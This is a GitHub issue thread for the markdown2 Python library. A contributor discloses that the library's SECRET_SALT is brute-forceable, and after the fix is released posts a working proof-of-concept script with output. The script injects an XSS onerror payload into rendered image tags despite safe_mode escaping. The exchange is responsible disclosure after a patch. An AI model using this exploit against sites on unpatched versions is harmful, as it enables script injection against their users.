Skip to content

SECRET_SALT is too easily guessable, leads to security issues #599

Closed

Description

@rebane2001

Describe the bug
The SECRET_SALT value used for escaping and replacing content only allows for 1000000 values, which is trivial to bruteforce. It's bytes(randint(0, 1000000)) in the code and I'm not sure if it's working as intended (currently it only creates null bytes of n length).

To Reproduce

  1. Generate a list of all possible values:
data = ''

def _hash_text(s: str, SECRET_SALT_I) -> str:
    return 'md5-' + sha256((b"\x00"*SECRET_SALT_I) + s.encode("utf-8")).hexdigest()[32:]

for i in range(1000000):
    data += str(i) + ":" + _hash_text("!", i) + "\n"
  1. Process the data value with markdown2 somehow.
  2. Find the line with ! in the result.
  3. Use that numeric value with the _hash_text function to achieve arbitrary injection.

Expected behavior
SECRET_SALT is unpredictable enough

Debug info
Version of library being used: 2.5.0

Any extras being used: None

Additional context
I found this during a CTF :P.
SECRET_SALT should probably be changed to secrets.randbits(256) or something similar. It'd also make the performance of the library better as sha256ing 1000000 null bytes is a noticable performance hit.

Activity

  1. nicholasserra commented on Sep 23, 2024

    @nicholasserra
    Collaborator

    Thanks! We use that hash to omit certain chunks of text from further processing. I can't think of a specific security issue that might come about, but this is probably worth it just for a minor performance bump and simplification.

  2. rebane2001 commented on Sep 23, 2024

    @rebane2001
    ContributorAuthor

    Happy to share a demo of the vulnerability once a release is out and users affected can update :)

  3. nicholasserra commented on Oct 9, 2024

    @nicholasserra
    Collaborator

    Just pushed a release, would love a demo, thanks!

  4. rebane2001 commented on Oct 9, 2024

    @rebane2001
    ContributorAuthor

    Here's a basic demo :)

    import markdown2
    from hashlib import sha256
    
    payload = 'x" onerror="alert(1)'
    data = f"""
    `{payload}`
    """
    
    def _hash_text(s: str, SECRET_SALT_I) -> str:
        return 'md5-' + sha256((b"\x00"*SECRET_SALT_I) + s.encode("utf-8")).hexdigest()[32:]
    
    for i in range(1000000):
        data += "![](" + _hash_text(payload, i) + ")\n"
    
    out = markdown2.markdown(data, safe_mode="escape")
    print(out)

    If you'd like to try it yourself I suggest editing the 1000000 both in the demo and the library to a smaller number so that it runs faster - but even the 1000000 is fast enough for real world attacks (I did that for the CTF I was playing).

    We're putting our payload in the code tags to turn it into a hash, and then we try to guess that hash by iterating through all the possible salts. We can then use it to force characters such as quotes into other parts of the rendered markdown, which in this case turns the image src tag into XSS.

    The output will have something like this nested between everything:

    ...
    <img src="md5-c9d0cdbf6f1d77db5398c3a604cb2576" alt="" />
    <img src="md5-69f687292a4b52ce0fd7086f3e1dc6f8" alt="" />
    <img src="md5-cfe789d6a6b23e960d3d889828d26286" alt="" />
    <img src="x" onerror="alert(1)" alt="" />
    <img src="md5-603a2480a48d64ac0fe3e0b96b3f87f9" alt="" />
    <img src="md5-ab50509ef09f0034abb72f3fc72b96a0" alt="" />
    <img src="md5-ce3a75f48a6d0d9c2f80f24c58cb0162" alt="" />
    ...

    In the real world it'd be possible to improve the attack depending on the specific application and its implementation details, but this works well enough for a quick demo :).

    One more thing, @nicholasserra, would it be okay for me to look into getting a CVE assigned for this vuln? I've been wondering what that process looks like and I thought this would be a nice opportunity for me to try it out first-hand.

  5. nicholasserra commented on Oct 9, 2024

    @nicholasserra
    Collaborator

    Ah, got it. Nice catch, this one took me a second to understand the external user input attack vector here. Thanks!

    CVE sounds fine, go for it

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions